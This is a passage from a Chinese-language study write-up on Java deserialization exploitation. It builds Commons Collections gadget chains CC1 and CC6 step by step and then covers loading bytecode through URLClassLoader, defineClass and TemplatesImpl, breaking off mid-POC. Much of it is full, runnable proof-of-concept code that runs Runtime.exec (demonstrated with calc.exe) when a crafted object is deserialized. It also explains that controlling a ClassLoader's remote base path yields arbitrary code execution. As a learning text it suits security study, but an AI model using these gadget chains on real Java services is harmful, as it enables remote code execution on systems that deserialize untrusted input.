                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

这里我们创建了⼀个ChainedTransformer,包含两个Transformer,一个是返回当前环境的Runtime对象的ConstantTransformer,另一个是执行Runtime对象的exec方法的InvokerTransformer,它的参数是calc.exe

这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate :

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后通过向Map中放⼊⼀个新的元素触发回调:

outerMap.put("test", "xxxx");

这里copy一下huamang师傅的调试过程:

首先创建transformers数组:

第一个是ConstantTransformer对象,传入的是Runtime对象

第二个是InvokerTransformer对象,传入的是执行的exec方法和他的参数

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };

然后是ChainedTransformer,把这个数组传进去,赋值给ChainedTransformer的ITransformers

然后就是TransformedMap.decorate(),先创建一个Map,然后把map传入作为被修饰的Map

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

把我们的ChainedTransformer对象传进去作为处理新元素的value的回调valueTransformer

这样我们的Map就算是被TransformedMap修饰好了,输出outerMap,下一步就是为这个Map插入一个元素去触发我们的ChainedTransformer对象的transform方法

outerMap.put("test", "xxxx");

在更新value的时候,触发valueTransformer也就是我们的ChainedTransformer对象的transform方法

然后就进入到了这个循环

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

此时的object是我们传入的新value,就是个随便的字符串对象,而此时的iTransformers[i]是我们前面传入的数组的第一个元素,也就是ConstantTransformer(Runtime.getRuntime()),这里就调用了他的transform函数,不管输入,直接返回之前存在里面的对象

public Object transform(Object input) {
		return this.iConstant;
}

那么此时的object就被赋值为Runtime对象了,然后进入下一层循环,此时iTransformers[i]变成了之前定义的数组的第二个元素

InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

把Runtime对象传入,执行他的transform函数,完成RCE

流程:

创建一个有两个参数的ChainedTransformer数组,一个参数是返回Runtime对象的ConstantTransformer,另一个参数是执⾏Runtime对象的exec⽅法的InvokerTransformer
↓↓↓
把上面得到的数组传给ChainedTransformer,赋值给ChainedTransformer的ITransformers
↓↓↓
创建一个Map,然后把map传入作为被修饰的Map
↓↓↓
把ChainedTransformer对象传进去作为处理新元素的value的回调来修饰valueTransformer,用TransformedMap修饰map
↓↓↓
向Map插入一个元素去触发我们的ChainedTransformer对象的transform方法,最后执行transform函数里的method.invoke()

编写真正的POC

回顾整个过程,我们不难发现关键其实是向Map中加入一个新的元素触发transform方法,在demo里我们可以用outerMap.put(“test”, “xxxx”),但在实际过程中,我们就得找到一个类,它在反序列化的readObject逻辑里有类似的写入操作,而这个类就是 sun.reflect.annotation.AnnotationInvocationHandler。

AnnotationInvocationHandler

注意我们分析的是8u71以前的代码,这里我jdk用的是8u65,我们直奔他的readObject方法

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
 
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
 
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
 
    // If there are annotation members without values, that
    // situation is handled by the invoke method
    for (Map.Entry<String, Object> memberValue: memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            Object value = memberValue.getValue();
            if(!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
 
}

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…),memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

所以我们构造POC的话,需要先创建一个AnnotationInvocationHandler对象,并将前面构造的
HashMap设置进来:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

这里为什么使用construct.setAccessible(true)是因为sun.reflect.annotation.AnnotationInvocationHandler是JDK内部的类,不能直接使用new实例化,但我们用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。这里我们的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数就是前面构造的Map。

为什么使用反射

我们刚刚构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我
们通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

但如果我们将这几段代码拼接到demo代码的后面,组成一个完整的POC。我们试着运行这个POC,看看能否生成序列化数据流:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.annotation.Retention;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

结果是一大堆报错:

报错原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime(),Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。

而这里正是为什么我们要用到反射的原因,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转化一下写法:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer("Runtime.class"),
    new InvokerTransformer("getMethod",
         new Class[] {String.class, Class[].class},
         new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
         new Class[] {Object.class, Object[].class},
         new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec",
         new Class[] {String.class},
         new String[]{"calc.exe"}),
};

其实也就是把Runtime.getRuntime() 换成了 Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。我们把这段代码替换进去,可以发现虽然输出了反序列化字符串,但还是无法弹计算器:

为什么还是不行?

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

那怎么让它不为null呢?p牛在这里没有过多分析,而是直接给出了答案:

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以,这也解释了为什么我们前面用到 Retention.class ,因为Retention有一个方法,名为value;所
以,为了再满足第二个条件,我们需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx");

为什么Java高版本无法利用?

我们再次修改POC:

package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

按p牛的说法,在低版本下这个POC是可以执行的,我本地JDK版本比较高反正没执行成功。主要原因是在8u71以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

我们查看ysoserial的代码,发现它也没有用到demo中的TransformedMap,而是改用了LazyMap。表面上大家可能以为改用LazyMap就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题,实则不然,POC打不通的主要原因其实在于sun.reflect.annotation.AnnotationInvocationHandler类的修改上,我们现在再来看看怎么破局。

ysoserial中的LazyMap是什么

LazyMap和TransformedMap都来自于Common-Collections库。但LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执
行transform,而LazyMap是在其get方法中执行的 factory.transform。LazyMap,顾名思义,懒加载,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值

public Object get(Object key) {
// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
	return map.get(key);
}

相比TransformedMap,LazyMap的利用更加复杂,因为sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法。但AnnotationInvocationHandler类的invoke方法有调用到get:

这里ysoserial的作者想到的是利用Java的对象代理调用AnnotationInvocationHandler#invoke

Java对象代理

在java中如果我们想劫持一个对象内部的方法调用,我们需要用到 java.reflect.Proxy :

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

第一个参数是ClassLoader,用默认的即可,不用管它;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

我们可以做个测试,先写个ExampleInvocationHandler类:

package com.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws
            Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

然后在外部调用这个类:

package com.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new
                HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

虽然我们传入的hello值为world但结果还是Hacked Object。

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就
是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要
调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get 。

使用LazyMap构造利用链

修改poc,第一步我们就是要先使用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler对这个proxyMap进行包裹

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

最后的POC:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

LazyMap与TransformedMap的对比

前面我们详细分析了LazyMap的作用并构造了POC,但是和上一篇文章中说过的那样,LazyMap仍然无
法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题(是的,这个POC还是没法在高版本下打通)

LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和
AnnotationInvocationHandler#readObject 中有没有setValue没任何关,关键还是和逻辑有关,

高版本下的解决方法

由于sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化,即使是用LazyMap也还是没法在高版本下弹出计算器,在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤链,为了解决⾼版本Java的利⽤问题,我们先来看看p牛这个利⽤链。

/*
 Gadget chain:
	 java.io.ObjectInputStream.readObject()
 		java.util.HashMap.readObject()
 			java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 		org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 		java.lang.reflect.Method.invoke()
		  java.lang.Runtime.exec()
*/

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:

package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L;
 private final Map map;
 private final Object key;
 
 public TiedMapEntry(Map map, Object key) {
 	this.map = map;
 	this.key = key;
 }
 public Object getKey() {
 	return this.key;
 }
 public Object getValue() {
 	return this.map.get(this.key);
 }

 // ...
 public int hashCode() {
 	Object value = this.getValue();
 	return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
 }

 // ...
}

现在我们要去找哪里调用了TiedMapEntry#hashCode。ysoserial中,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key),后到 TiedMapEntry#hashCode() 。事实上java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤,去掉了最前⾯的两次调⽤:

public class HashMap<K,V> extends AbstractMap<K,V>
 implements Map<K,V>, Cloneable, Serializable {

 // ...

 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
// ...

 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 // Read in the threshold (ignored), loadfactor, and any hidden
stuff
 s.defaultReadObject();
 // ...
 // Read the keys and values, and put the mappings in the
HashMap
 for (int i = 0; i < mappings; i++) {
 @SuppressWarnings("unchecked")
 K key = (K) s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }

在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中,调⽤到了
key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过
程,构成⼀个完整的Gadget。

构造Gadget代码

先构造恶意LazyMap:

Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[] { String.class,
 Class[].class }, new
Object[] { "getRuntime",

 new Class[0] }),
 new InvokerTransformer("invoke", new Class[] { Object.class,
 Object[].class }, new
Object[] { null, new Object[0] }),
 new InvokerTransformer("exec", new Class[] { String.class },
 new String[] { "calc.exe" }),
 new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行,我们先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。

我们拿到了⼀个恶意的LazyMap对象 outerMap ,将其作为 TiedMapEntry 的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

为了调⽤ TiedMapEntry#hashCode() ,我们需要将 tme 对象作为 HashMap 的⼀个key。注意,
这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关
系:

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后我们将真正的 transformers 数组设置进来我们就可以将这个 expMap 作为对象来序列化了:

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

改进POC

之前那个POC还打不通的主要原因,就是我们为了防止立刻触发发命令执⾏使用了fakeTransformers,导致 LazyMap这个利⽤链被重新调用了一遍,影响到了最后命令执行那里。我们想要解决这个问题,只需要将keykey这个Key从outerMap中移除即可: outerMap.remove(“keykey”) 。

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

动态加载字节码

所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,其实都能被理解为字节码

利用 URLClassLoader 加载远程class文件

Java的ClassLoader来用来加载字节码文件最基础的方法

ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。

URLClassLoader 实际上是 AppClassLoader 的父类,因此其实解释 URLClassLoader 的工作过程就是在解释默认的Java类加载器的工作流程。

一般来说,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这
些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻
    找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

一般来说遇到的都是前两种,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。

写一个简单的java代码:

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello, world!");
    }
}

用javac Hello.java编译成Hello.class。我本地一直有phpstudy,所以起了一个127.0.0.9的服务,把Hello.class移了过去。

package com.govuln;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader
{
    public static void main( String[] args ) throws Exception
    {
        URL[] urls = {new URL("http://127.0.0.9/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Hello");
        c.newInstance();
    }
}

然而并没有请求到,不知道为啥,好像因为我版本太高了。

理论上这样可以成功请求到我们的 /Hello.class 文件,并执行文件里的字节码,输出”Hello World”。
所以,作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利
用远程加载的方式执行任意代码了。

利用 ClassLoader#defineClass 直接加载字节码

上一节中我们认识到了如何利用URLClassLoader加载远程class文件,也就是字节码。其实,不管是加
载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

其中:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以很明显整个过程里最关键部分其实是defineClass ,他决定了如何将一段字节流转变成一个Java类。它是一个native方法,逻辑在JVM的C语言代码中。

我们在这里写一个测试代码:

package com.govuln;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
        hello.newInstance();
    }
}

值得注意的是,在 defineClass被调用的时候类对象是不会被初始化的,只有这个对象显式地调用其构造
函数才能继续执行初始化代码。而且,即使我们将初始化代码放在类的static块中也无法被直接调用到。因此,如果我们想利用defineClass在目标机器上执行任意代码必须先想办法调用构造函数。

当然,ClassLoader#defineClass是一个保护属性,我们没法直接在外部访问,只能使用反射来进行调用。实际情形里defineClass方法作用域不开放,但它却是攻击链TemplatesImpl里非常重要的一环。

TemlatesImpl加载字节码

defineClass比较底层,一般的java开发小子很少使用到这个东西,只有在Java底层还有一些类使用了这个方法,这就是TemplatesImpl。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类TransletClassLoader:

 static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这里重写了defineClass方法,并且没有显式地声明其定义域。在java里如果一个方法没有显式声明作用域,其作用域为default,所以这里的defineClass其实已经从protected类型变成了一个defaulted类型,已经可以被外部调用了,它的调用链为:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

TemplatesImpl#getOutputProperties() 、TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。我们可以构造一个简单的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
